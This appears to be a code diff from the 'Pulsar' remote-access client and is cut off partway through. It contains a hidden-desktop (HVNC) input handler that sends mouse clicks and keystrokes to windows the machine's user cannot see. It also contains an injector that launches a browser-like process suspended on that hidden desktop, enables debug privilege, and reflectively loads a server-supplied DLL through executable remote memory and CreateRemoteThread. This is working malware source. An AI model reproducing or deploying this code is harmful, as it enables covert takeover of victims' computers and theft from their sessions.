if (desktopHandle == IntPtr.Zero)
{
desktopHandle = CreateDesktop(desktopName, IntPtr.Zero, IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero);
}
this.Desktop = desktopHandle;
InitializeModifierKeyStates();
}
/// <summary>
/// Releases all resources used by the InputHandler.
/// </summary>
public void Dispose()
{
CloseDesktop(this.Desktop);
GC.Collect();
}
#endregion
#region Keyboard Helper Methods
/// <summary>
/// Initializes the modifier key states by checking the current system state.
/// </summary>
private void InitializeModifierKeyStates()
{
isShiftPressed = (GetKeyState(VK_SHIFT) & 0x8000) != 0;
isControlPressed = (GetKeyState(VK_CONTROL) & 0x8000) != 0;
isAltPressed = (GetKeyState(VK_MENU) & 0x8000) != 0;
isCapsLockOn = (GetKeyState(VK_CAPITAL) & 0x0001) != 0;
}
/// <summary>
/// Handles keyboard input with proper modifier tracking and character conversion.
/// </summary>
/// <param name="msg">The keyboard message</param>
/// <param name="wParam">The wParam containing the virtual key code</param>
/// <param name="lParam">The original lParam</param>
/// <param name="targetWindow">The target window to send messages to</param>
private void HandleKeyboardInput(uint msg, IntPtr wParam, IntPtr lParam, IntPtr targetWindow)
{
int virtualKey = wParam.ToInt32();
UpdateModifierKeyState(msg, virtualKey);
if (msg == WM_KEYDOWN)
{
if (IsModifierKey(virtualKey))
{
IntPtr modifierLParam = BuildKeyboardLParam(msg, wParam);
PostMessage(targetWindow, msg, wParam, modifierLParam);
return;
}
char[] chars = VirtualKeyToChar(virtualKey);
bool isPrintableChar = (chars != null && chars.Length > 0 && chars[0] != '\0');
if (isPrintableChar)
{
IntPtr charLParam = BuildKeyboardLParam(WM_CHAR, wParam);
foreach (char ch in chars)
{
if (ch != '\0')
{
PostMessage(targetWindow, WM_CHAR, new IntPtr(ch), charLParam);
}
}
}
else
{
IntPtr properLParam = BuildKeyboardLParam(msg, wParam);
PostMessage(targetWindow, msg, wParam, properLParam);
}
}
else if (msg == WM_KEYUP)
{
IntPtr properLParam = BuildKeyboardLParam(msg, wParam);
PostMessage(targetWindow, msg, wParam, properLParam);
}
else if (msg == WM_CHAR)
{
PostMessage(targetWindow, msg, wParam, lParam);
}
}
/// <summary>
/// Updates the internal modifier key state tracking.
/// </summary>
/// <param name="msg">The keyboard message</param>
/// <param name="virtualKey">The virtual key code</param>
private void UpdateModifierKeyState(uint msg, int virtualKey)
{
bool keyDown = (msg == WM_KEYDOWN);
switch (virtualKey)
{
case VK_SHIFT:
case VK_LSHIFT:
case VK_RSHIFT:
isShiftPressed = keyDown;
break;
case VK_CONTROL:
case VK_LCONTROL:
case VK_RCONTROL:
isControlPressed = keyDown;
break;
case VK_MENU:
case VK_LMENU:
case VK_RMENU:
isAltPressed = keyDown;
break;
case VK_CAPITAL:
if (keyDown)
{
isCapsLockOn = !isCapsLockOn;
}
break;
}
}
/// <summary>
/// Converts a virtual key to its character representation considering modifier states.
/// </summary>
/// <param name="virtualKey">The virtual key code</param>
/// <returns>Array of characters, or null if not a printable character</returns>
private char[] VirtualKeyToChar(int virtualKey)
{
if (IsModifierKey(virtualKey) || IsNonPrintableKey(virtualKey))
{
return null;
}
byte[] keyboardState = new byte[256];
if (isShiftPressed)
{
keyboardState[VK_SHIFT] = 0x80;
}
if (isControlPressed)
{
keyboardState[VK_CONTROL] = 0x80;
}
if (isAltPressed)
{
keyboardState[VK_MENU] = 0x80;
}
if (isCapsLockOn)
{
keyboardState[VK_CAPITAL] = 0x01;
}
var buffer = new StringBuilder(64);
uint scanCode = MapVirtualKey((uint)virtualKey, 0);
int result = ToUnicode((uint)virtualKey, scanCode, keyboardState, buffer, buffer.Capacity, 0);
if (result > 0)
{
return buffer.ToString().Substring(0, result).ToCharArray();
}
return null;
}
/// <summary>
/// Determines if a virtual key is a modifier key.
/// </summary>
/// <param name="virtualKey">The virtual key code</param>
/// <returns>True if the key is a modifier key</returns>
private bool IsModifierKey(int virtualKey)
{
switch (virtualKey)
{
case VK_SHIFT:
case VK_LSHIFT:
case VK_RSHIFT:
case VK_CONTROL:
case VK_LCONTROL:
case VK_RCONTROL:
case VK_MENU:
case VK_LMENU:
case VK_RMENU:
case VK_CAPITAL:
return true;
default:
return false;
}
}
/// <summary>
/// Determines if a virtual key is a non-printable key (function keys, arrows, etc.).
/// </summary>
/// <param name="virtualKey">The virtual key code</param>
/// <returns>True if the key is non-printable</returns>
private bool IsNonPrintableKey(int virtualKey)
{
if (virtualKey >= 0x70 && virtualKey <= 0x7B) return true;
switch (virtualKey)
{
case 0x21: // VK_PRIOR (Page Up)
case 0x22: // VK_NEXT (Page Down)
case 0x23: // VK_END
case 0x24: // VK_HOME
case 0x25: // VK_LEFT
case 0x26: // VK_UP
case 0x27: // VK_RIGHT
case 0x28: // VK_DOWN
case 0x2D: // VK_INSERT
case 0x2E: // VK_DELETE
case 0x5B: // VK_LWIN
case 0x5C: // VK_RWIN
case 0x5D: // VK_APPS
case 0x91: // VK_SCROLL
case 0x90: // VK_NUMLOCK
case 0x0D: // VK_RETURN (Enter)
case 0x1B: // VK_ESCAPE
case 0x09: // VK_TAB
case 0x08: // VK_BACK (Backspace)
return true;
default:
return false;
}
}
/// <summary>
/// Builds the appropriate lParam value for keyboard messages.
/// </summary>
/// <param name="message">The keyboard message (WM_KEYDOWN, WM_KEYUP, WM_CHAR)</param>
/// <param name="wParam">The wParam containing the virtual key code</param>
/// <returns>The properly formatted lParam for the keyboard message</returns>
private IntPtr BuildKeyboardLParam(uint message, IntPtr wParam)
{
int vk = wParam.ToInt32();
uint scanCode = MapVirtualKey((uint)vk, 0);
int lParam = 0;
lParam |= 1;
lParam |= (int)(scanCode << 16);
if (IsExtendedKey(vk))
{
lParam |= (1 << 24);
}
if (message == WM_KEYUP)
{
lParam |= (1 << 30);
lParam |= (1 << 31);
}
return new IntPtr(lParam);
}
/// <summary>
/// Determines if a virtual key code represents an extended key.
/// </summary>
/// <param name="virtualKey">The virtual key code</param>
/// <returns>True if the key is an extended key</returns>
private bool IsExtendedKey(int virtualKey)
{
switch (virtualKey)
{
case 0x21: // VK_PRIOR (Page Up)
case 0x22: // VK_NEXT (Page Down)
case 0x23: // VK_END
case 0x24: // VK_HOME
case 0x25: // VK_LEFT
case 0x26: // VK_UP
case 0x27: // VK_RIGHT
case 0x28: // VK_DOWN
case 0x2D: // VK_INSERT
case 0x2E: // VK_DELETE
case 0x5B: // VK_LWIN
case 0x5C: // VK_RWIN
case 0x5D: // VK_APPS
case 0xA0: // VK_LSHIFT (when differentiated from VK_SHIFT)
case 0xA1: // VK_RSHIFT
case 0xA2: // VK_LCONTROL
case 0xA3: // VK_RCONTROL
case 0xA4: // VK_LMENU (Left Alt)
case 0xA5: // VK_RMENU (Right Alt)
case 0x91: // VK_SCROLL
return true;
default:
return false;
}
}
#endregion
#region Helper Methods
/// <summary>
/// Gets the X coordinate from an lParam.
/// </summary>
public static int GetXCoordinate(IntPtr lParam)
{
return (int)((short)(lParam.ToInt32() & 0xFFFF));
}
/// <summary>
/// Gets the Y coordinate from an lParam.
/// </summary>
public static int GetYCoordinate(IntPtr lParam)
{
return (int)((short)(lParam.ToInt32() >> 16 & 0xFFFF));
}
/// <summary>
/// Creates an lParam from X and Y coordinates.
/// </summary>
public static IntPtr MakeLParam(int lowWord, int highWord)
{
return new IntPtr(highWord << 16 | (lowWord & 0xFFFF));
}
/// <summary>
/// Calculates relative coordinates from screen to window
/// </summary>
private POINT ScreenToWindow(int screenX, int screenY, int windowX, int windowY, int windowWidth, int windowHeight)
{
int relativeX = screenX - windowX;
int relativeY = screenY - windowY;
if (relativeX >= 0 && relativeX < windowWidth && relativeY >= 0 && relativeY < windowHeight)
return new POINT { x = relativeX, y = relativeY };
else
return new POINT { x = -1, y = -1 };
}
#endregion
#region Input Processing
/// <summary>
/// Processes an input message and sends it to the appropriate window.
/// </summary>
/// <param name="msg">The message to process.</param>
/// <param name="wParam">The wParam of the message.</param>
/// <param name="lParam">The lParam of the message.</param>
public void Input(uint msg, IntPtr wParam, IntPtr lParam)
{
lock (syncLock)
{
SetThreadDesktop(this.Desktop);
// Handle mouse messages
if (msg == WM_LBUTTONDOWN || msg == WM_LBUTTONUP ||
msg == WM_RBUTTONDOWN || msg == WM_RBUTTONUP ||
msg == WM_MOUSEMOVE)
{
int x = GetXCoordinate(lParam);
int y = GetYCoordinate(lParam);
POINT cursorPosition = new POINT { x = x, y = y };
bool isLeft = (msg == WM_LBUTTONDOWN || msg == WM_LBUTTONUP);
bool isUp = (msg == WM_LBUTTONUP || msg == WM_RBUTTONUP);
if (isMovingWindow && isUp && isLeft)
{
// If we were moving a window and now released the button, complete the move
SetWindowPos(windowToMove, IntPtr.Zero,
x - lastClickCoords.x,
y - lastClickCoords.y,
lastWindowDimensions.x,
lastWindowDimensions.y,
0);
isMovingWindow = false;
}
// Get the window under the cursor
IntPtr hwnd = WindowFromPoint(cursorPosition);
workingWindow = hwnd;
if (hwnd != IntPtr.Zero)
{
// Get window information
RECT windowRect;
GetWindowRect(hwnd, out windowRect);
// Calculate window position and size
int windowX = windowRect.left;
int windowY = windowRect.top;
int windowWidth = windowRect.right - windowRect.left;
int windowHeight = windowRect.bottom - windowRect.top;
// Calculate position relative to window
POINT clickCoords = ScreenToWindow(x, y, windowX, windowY, windowWidth, windowHeight);
// Get hit test result to determine what part of the window was clicked
IntPtr hitTestResult = SendMessage(hwnd, WM_NCHITTEST, IntPtr.Zero, lParam);
int hitTestResultInt = hitTestResult.ToInt32();
if (hitTestResultInt == HTCLOSE && msg == WM_LBUTTONUP)
{
// Close button clicked
Debug.WriteLine("Closing window");
PostMessage(hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
PostMessage(hwnd, WM_DESTROY, IntPtr.Zero, IntPtr.Zero);
}
else if (hitTestResultInt == HTCAPTION)
{
// Title bar clicked
if (!isUp && isLeft && msg == WM_LBUTTONDOWN)
{
// Start window move operation
lastClickCoords = clickCoords;
lastWindowDimensions = new POINT { x = windowWidth, y = windowHeight };
isMovingWindow = true;
windowToMove = hwnd;
Debug.WriteLine("Starting window move");
}
}
else if (hitTestResultInt == HTMAXBUTTON && msg == WM_LBUTTONUP)
{
// Maximize/Restore button clicked
WINDOWPLACEMENT windowPlacement = default;
windowPlacement.length = Marshal.SizeOf<WINDOWPLACEMENT>(windowPlacement);
GetWindowPlacement(hwnd, ref windowPlacement);
if ((windowPlacement.flags & SW_SHOWMAXIMIZED) != 0)
{
Debug.WriteLine("Restoring window");
PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_RESTORE), IntPtr.Zero);
}
else
{
Debug.WriteLine("Maximizing window");
PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_MAXIMIZE), IntPtr.Zero);
}
}
else if (hitTestResultInt == HTMINBUTTON && msg == WM_LBUTTONUP)
{
// Minimize button clicked
Debug.WriteLine("Minimizing window");
PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_MINIMIZE), IntPtr.Zero);
}
else
{
// Regular window area clicked - forward the mouse message
IntPtr param = isLeft ? new IntPtr(MK_LBUTTON) : new IntPtr(MK_RBUTTON);
IntPtr translatedLParam = MakeLParam(clickCoords.x, clickCoords.y);
PostMessage(hwnd, msg, param, translatedLParam);
}
}
}
// Handle keyboard messages
if (msg == WM_KEYDOWN || msg == WM_KEYUP || msg == WM_CHAR)
{
if (workingWindow != IntPtr.Zero)
{
HandleKeyboardInput(msg, wParam, lParam, workingWindow);
}
}
}
}
#endregion
#region Nested Types
/// <summary>
/// Desktop access rights flags.
/// </summary>
private enum DESKTOP_ACCESS : uint
{
DESKTOP_NONE,
DESKTOP_READOBJECTS,
DESKTOP_CREATEWINDOW,
DESKTOP_CREATEMENU = 4U,
DESKTOP_HOOKCONTROL = 8U,
DESKTOP_JOURNALRECORD = 16U,
DESKTOP_JOURNALPLAYBACK = 32U,
DESKTOP_ENUMERATE = 64U,
DESKTOP_WRITEOBJECTS = 128U,
DESKTOP_SWITCHDESKTOP = 256U,
GENERIC_ALL = 511U
}
/// <summary>
/// Represents a point (x,y coordinates).
/// </summary>
public struct POINT
{
public int x;
public int y;
}
/// <summary>
/// Represents a rectangle.
/// </summary>
public struct RECT
{
public int left;
public int top;
public int right;
public int bottom;
}
/// <summary>
/// Contains information about the placement of a window.
/// </summary>
public struct WINDOWPLACEMENT
{
public int length;
public int flags;
public int showCmd;
public POINT ptMinPosition;
public POINT ptMaxPosition;
public RECT rcNormalPosition;
}
#endregion
}
}
+857
View File
@@ -0,0 +1,857 @@
using Pulsar.Client.LoggingAPI;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
namespace Pulsar.Client.Helper.HVNC
{
internal class KDOTInjector
{
/// <summary>
/// Starts the reflective DLL injection process
/// </summary>
/// <param name="dllBytes">The DLL bytes to inject (received from server)</param>
/// <param name="exePath">Path to the executable to start and inject into</param>
/// <param name="searchPattern">Pattern to search for in the target process</param>
/// <param name="replacementPath">Replacement path for the search pattern</param>
/// <returns>Process ID of the started process, or 0 if failed</returns>
public static int Start(byte[] dllBytes, string exePath, string searchPattern, string replacementPath)
{
try
{
if (dllBytes == null || dllBytes.Length == 0)
{
UniversalDebugLogger.SendLogToServer("[-] Invalid DLL bytes provided");
return 0;
}
if (string.IsNullOrWhiteSpace(exePath))
{
UniversalDebugLogger.SendLogToServer("[-] No target executable specified");
return 0;
}
if (string.IsNullOrWhiteSpace(searchPattern) || string.IsNullOrWhiteSpace(replacementPath))
{
UniversalDebugLogger.SendLogToServer("[-] Search pattern and replacement path are required");
return 0;
}
UniversalDebugLogger.SendLogToServer($"[*] Starting reflective DLL injection");
UniversalDebugLogger.SendLogToServer($" Target: {exePath}");
UniversalDebugLogger.SendLogToServer($" Search Pattern: {searchPattern}");
UniversalDebugLogger.SendLogToServer($" Replacement Path: {replacementPath}");
UniversalDebugLogger.SendLogToServer($" DLL Size: {dllBytes.Length} bytes");
PrivilegeManager.EnableDebugPrivilege();
var (process, hProcess, hThread) = ProcessManager.StartProcessSuspended(exePath, searchPattern, replacementPath);
if (process == null || hProcess == IntPtr.Zero || hThread == IntPtr.Zero)
{
UniversalDebugLogger.SendLogToServer("[-] Failed to create suspended process");
return 0;
}
int processId = process.Id;
UniversalDebugLogger.SendLogToServer($"[+] Started process '{Path.GetFileName(exePath)}' (suspended) with PID {processId}");
try
{
bool success = Injector.InjectDllWithHandle(hProcess, dllBytes);
if (success)
{
UniversalDebugLogger.SendLogToServer($"[+] Successfully injected '{Path.GetFileName(exePath)}' into process {processId}");
UniversalDebugLogger.SendLogToServer($"[+] Search pattern: {searchPattern}");
UniversalDebugLogger.SendLogToServer($"[+] Replacement path: {replacementPath}");
}
else
{
UniversalDebugLogger.SendLogToServer("[-] Injection failed");
Injector.CloseHandle(hProcess);
Injector.CloseHandle(hThread);
if (!process.HasExited)
{
process.Kill();
}
return 0;
}
}
finally
{
Injector.CloseHandle(hProcess);
}
UniversalDebugLogger.SendLogToServer("[+] Resuming main thread...");
ProcessManager.ResumeThreadExP(hThread);
Injector.CloseHandle(hThread);
UniversalDebugLogger.SendLogToServer("[+] Process running. DLL hooks will propagate to child processes.");
return processId;
}
catch (Exception ex)
{
UniversalDebugLogger.SendLogToServer($"[-] Exception in KDOTInjector.Start: {ex.Message}");
return 0;
}
}
}
/// <summary>
/// Manages process creation and interaction
/// </summary>
internal static class ProcessManager
{
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
private struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
private const uint CREATE_SUSPENDED = 0x00000004;
private const uint CREATE_UNICODE_ENVIRONMENT = 0x00000400;
private const int STARTF_USEPOSITION = 0x00000004;
public static Process StartProcessNormal(string exePath)
{
if (!File.Exists(exePath))
{
Debug.WriteLine($"[-] Executable not found: {exePath}");
return null;
}
try
{
ProcessStartInfo psi = new ProcessStartInfo
{
FileName = exePath,
UseShellExecute = false,
WorkingDirectory = Path.GetDirectoryName(exePath)
};
Process process = Process.Start(psi);
return process;
}
catch (Exception ex)
{
Debug.WriteLine($"[-] Failed to start process: {ex.Message}");
return null;
}
}
private static IntPtr CreateEnvironmentBlock(string searchPath, string replacePath)
{
var envVars = Environment.GetEnvironmentVariables();
var envDict = new Dictionary<string, string>();
foreach (System.Collections.DictionaryEntry entry in envVars)
{
envDict[entry.Key.ToString()] = entry.Value.ToString();
}
envDict["RDI_SEARCH_PATH"] = searchPath;
envDict["RDI_REPLACE_PATH"] = replacePath;
var envList = new List<string>();
foreach (var kvp in envDict.OrderBy(x => x.Key, StringComparer.OrdinalIgnoreCase))
{
envList.Add($"{kvp.Key}={kvp.Value}");
}
string envBlock = string.Join("\0", envList) + "\0\0";
byte[] envBytes = Encoding.Unicode.GetBytes(envBlock);
IntPtr envPtr = Marshal.AllocHGlobal(envBytes.Length);
Marshal.Copy(envBytes, 0, envPtr, envBytes.Length);
return envPtr;
}
public static (Process process, IntPtr hProcess, IntPtr hThread) StartProcessSuspended(string exePath, string searchPath, string replacePath)
{
if (!File.Exists(exePath))
{
Debug.WriteLine($"[-] Executable not found: {exePath}");
return (null, IntPtr.Zero, IntPtr.Zero);
}
IntPtr envBlock = IntPtr.Zero;
try
{
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
si.lpDesktop = "PulsarDesktop";
si.dwX = 0;
si.dwY = 0;
si.dwFlags = STARTF_USEPOSITION;
PROCESS_INFORMATION pi;
string commandLine = $"\"{exePath}\" --window-position=0,0";
envBlock = CreateEnvironmentBlock(searchPath, replacePath);
Debug.WriteLine($"[*] Setting environment variables:");
Debug.WriteLine($" RDI_SEARCH_PATH={searchPath}");
Debug.WriteLine($" RDI_REPLACE_PATH={replacePath}");
bool success = CreateProcess(
null,
commandLine,
IntPtr.Zero,
IntPtr.Zero,
false,
CREATE_SUSPENDED | CREATE_UNICODE_ENVIRONMENT,
envBlock,
Path.GetDirectoryName(exePath),
ref si,
out pi);
if (!success)
{
int error = Marshal.GetLastWin32Error();
Debug.WriteLine($"[-] Failed to create process. Error: {error}");
return (null, IntPtr.Zero, IntPtr.Zero);
}
Process process = Process.GetProcessById((int)pi.dwProcessId);
return (process, pi.hProcess, pi.hThread);
}
catch (Exception ex)
{
Debug.WriteLine($"[-] Failed to start process: {ex.Message}");
return (null, IntPtr.Zero, IntPtr.Zero);
}
finally
{
if (envBlock != IntPtr.Zero)
{
Marshal.FreeHGlobal(envBlock);
}
}
}
public static void ResumeThreadExP(IntPtr hThread)
{
if (hThread != IntPtr.Zero)
{
uint suspendCount = ResumeThread(hThread);
if (suspendCount == unchecked((uint)-1))
{
Debug.WriteLine($"[-] Failed to resume thread. Error: {Marshal.GetLastWin32Error()}");
}
}
}
}
/// <summary>
/// Manages Windows privileges (SeDebugPrivilege)
/// </summary>
internal static class PrivilegeManager
{
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool OpenProcessToken(
IntPtr ProcessHandle,
uint DesiredAccess,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
out LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool AdjustTokenPrivileges(
IntPtr TokenHandle,
bool DisableAllPrivileges,
ref TOKEN_PRIVILEGES NewState,
uint BufferLength,
IntPtr PreviousState,
IntPtr ReturnLength);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
private const uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
private const uint TOKEN_QUERY = 0x0008;
private const uint SE_PRIVILEGE_ENABLED = 0x00000002;
private const string SE_DEBUG_NAME = "SeDebugPrivilege";
[StructLayout(LayoutKind.Sequential)]
private struct LUID
{
public uint LowPart;
public int HighPart;
}
[StructLayout(LayoutKind.Sequential)]
private struct LUID_AND_ATTRIBUTES
{
public LUID Luid;
public uint Attributes;
}
[StructLayout(LayoutKind.Sequential)]
private struct TOKEN_PRIVILEGES
{
public uint PrivilegeCount;
public LUID_AND_ATTRIBUTES Privileges;
}
public static void EnableDebugPrivilege()
{
try
{
IntPtr hToken;
if (OpenProcessToken(Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out hToken))
{
TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES
{
PrivilegeCount = 1,
Privileges = new LUID_AND_ATTRIBUTES
{
Attributes = SE_PRIVILEGE_ENABLED
}
};
if (LookupPrivilegeValue(null, SE_DEBUG_NAME, out tp.Privileges.Luid))
{
AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
}
CloseHandle(hToken);
}
}
catch
{
// windows basically just gave us the middle finger
}
}
}
/// <summary>
/// Handles DLL injection using reflective loading
/// </summary>
internal static class Injector
{
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr OpenProcess(
ProcessAccessFlags processAccess,
bool bInheritHandle,
int processId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
AllocationType flAllocationType,
MemoryProtection flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
private const uint INFINITE = 0xFFFFFFFF;
[Flags]
private enum ProcessAccessFlags : uint
{
PROCESS_CREATE_THREAD = 0x0002,
PROCESS_QUERY_INFORMATION = 0x0400,
PROCESS_VM_OPERATION = 0x0008,
PROCESS_VM_WRITE = 0x0020,
PROCESS_VM_READ = 0x0010,
All = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
}
[Flags]
private enum AllocationType : uint
{
MEM_COMMIT = 0x1000,
MEM_RESERVE = 0x2000
}
[Flags]
private enum MemoryProtection : uint
{
PAGE_EXECUTE_READWRITE = 0x40,
PAGE_READWRITE = 0x04
}
public static bool InjectDll(int processId, byte[] dllBuffer)
{
IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, processId);
if (hProcess == IntPtr.Zero)
{
Debug.WriteLine($"[-] Failed to open target process. Error={Marshal.GetLastWin32Error()}");
return false;
}
try
{
IntPtr hThread = LoadRemoteLibraryR(hProcess, dllBuffer);
if (hThread == IntPtr.Zero)
{
Debug.WriteLine($"[-] Failed to inject DLL. Error={Marshal.GetLastWin32Error()}");
return false;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return true;
}
finally
{
CloseHandle(hProcess);
}
}
public static bool InjectDllWithHandle(IntPtr hProcess, byte[] dllBuffer)
{
if (hProcess == IntPtr.Zero || dllBuffer == null || dllBuffer.Length == 0)
{
Debug.WriteLine("[-] Invalid parameters for injection");
return false;
}
IntPtr hThread = LoadRemoteLibraryR(hProcess, dllBuffer);
if (hThread == IntPtr.Zero)
{
Debug.WriteLine($"[-] Failed to inject DLL. Error={Marshal.GetLastWin32Error()}");
return false;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return true;
}
private static IntPtr LoadRemoteLibraryR(IntPtr hProcess, byte[] buffer)
{
try
{
if (hProcess == IntPtr.Zero || buffer == null || buffer.Length == 0)
return IntPtr.Zero;
uint reflectiveLoaderOffset = PEParser.GetReflectiveLoaderOffset(buffer);
if (reflectiveLoaderOffset == 0)
{
Debug.WriteLine("[-] Failed to find ReflectiveLoader in DLL");
return IntPtr.Zero;
}
IntPtr lpRemoteLibraryBuffer = VirtualAllocEx(
hProcess,
IntPtr.Zero,
(uint)buffer.Length,
AllocationType.MEM_RESERVE | AllocationType.MEM_COMMIT,
MemoryProtection.PAGE_EXECUTE_READWRITE);
if (lpRemoteLibraryBuffer == IntPtr.Zero)
{
Debug.WriteLine("[-] Failed to allocate memory in remote process");
return IntPtr.Zero;
}
IntPtr bytesWritten;
if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, buffer, (uint)buffer.Length, out bytesWritten))
{
Debug.WriteLine("[-] Failed to write DLL to remote process");
return IntPtr.Zero;
}
IntPtr lpReflectiveLoader = IntPtr.Add(lpRemoteLibraryBuffer, (int)reflectiveLoaderOffset);
IntPtr threadId;
IntPtr hThread = CreateRemoteThread(
hProcess,
IntPtr.Zero,
1024 * 1024,
lpReflectiveLoader,
IntPtr.Zero,
0,
out threadId);
return hThread;
}
catch (Exception ex)
{
Debug.WriteLine($"[-] Exception in LoadRemoteLibraryR: {ex.Message}");
return IntPtr.Zero;
}
}
}
/// <summary>
/// Parses PE (Portable Executable) file format
/// </summary>
internal static class PEParser
{
#region PE Structures
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_DOS_HEADER
{
public ushort e_magic;
public ushort e_cblp;
public ushort e_cp;
public ushort e_crlc;
public ushort e_cparhdr;
public ushort e_minalloc;
public ushort e_maxalloc;
public ushort e_ss;
public ushort e_sp;
public ushort e_csum;
public ushort e_ip;
public ushort e_cs;
public ushort e_lfarlc;
public ushort e_ovno;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
public ushort[] e_res;
public ushort e_oemid;
public ushort e_oeminfo;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
public ushort[] e_res2;
public int e_lfanew;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_FILE_HEADER
{
public ushort Machine;
public ushort NumberOfSections;
public uint TimeDateStamp;
public uint PointerToSymbolTable;
public uint NumberOfSymbols;
public ushort SizeOfOptionalHeader;
public ushort Characteristics;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_DATA_DIRECTORY
{
public uint VirtualAddress;
public uint Size;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_OPTIONAL_HEADER32
{
public ushort Magic;
public byte MajorLinkerVersion;
public byte MinorLinkerVersion;
public uint SizeOfCode;
public uint SizeOfInitializedData;
public uint SizeOfUninitializedData;
public uint AddressOfEntryPoint;
public uint BaseOfCode;
public uint BaseOfData;
public uint ImageBase;
public uint SectionAlignment;
public uint FileAlignment;
public ushort MajorOperatingSystemVersion;
public ushort MinorOperatingSystemVersion;
public ushort MajorImageVersion;
public ushort MinorImageVersion;
public ushort MajorSubsystemVersion;
public ushort MinorSubsystemVersion;
public uint Win32VersionValue;
public uint SizeOfImage;
public uint SizeOfHeaders;
public uint CheckSum;
public ushort Subsystem;
public ushort DllCharacteristics;
public uint SizeOfStackReserve;
public uint SizeOfStackCommit;
public uint SizeOfHeapReserve;
public uint SizeOfHeapCommit;
public uint LoaderFlags;
public uint NumberOfRvaAndSizes;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public IMAGE_DATA_DIRECTORY[] DataDirectory;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_OPTIONAL_HEADER64
{
public ushort Magic;
public byte MajorLinkerVersion;
public byte MinorLinkerVersion;
public uint SizeOfCode;
public uint SizeOfInitializedData;
public uint SizeOfUninitializedData;
public uint AddressOfEntryPoint;
public uint BaseOfCode;
public ulong ImageBase;
public uint SectionAlignment;
public uint FileAlignment;
public ushort MajorOperatingSystemVersion;
public ushort MinorOperatingSystemVersion;
public ushort MajorImageVersion;
public ushort MinorImageVersion;
public ushort MajorSubsystemVersion;
public ushort MinorSubsystemVersion;
public uint Win32VersionValue;
public uint SizeOfImage;
public uint SizeOfHeaders;
public uint CheckSum;
public ushort Subsystem;
public ushort DllCharacteristics;
public ulong SizeOfStackReserve;
public ulong SizeOfStackCommit;
public ulong SizeOfHeapReserve;
public ulong SizeOfHeapCommit;
public uint LoaderFlags;
public uint NumberOfRvaAndSizes;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public IMAGE_DATA_DIRECTORY[] DataDirectory;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_SECTION_HEADER
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public byte[] Name;
public uint VirtualSize;
public uint VirtualAddress;
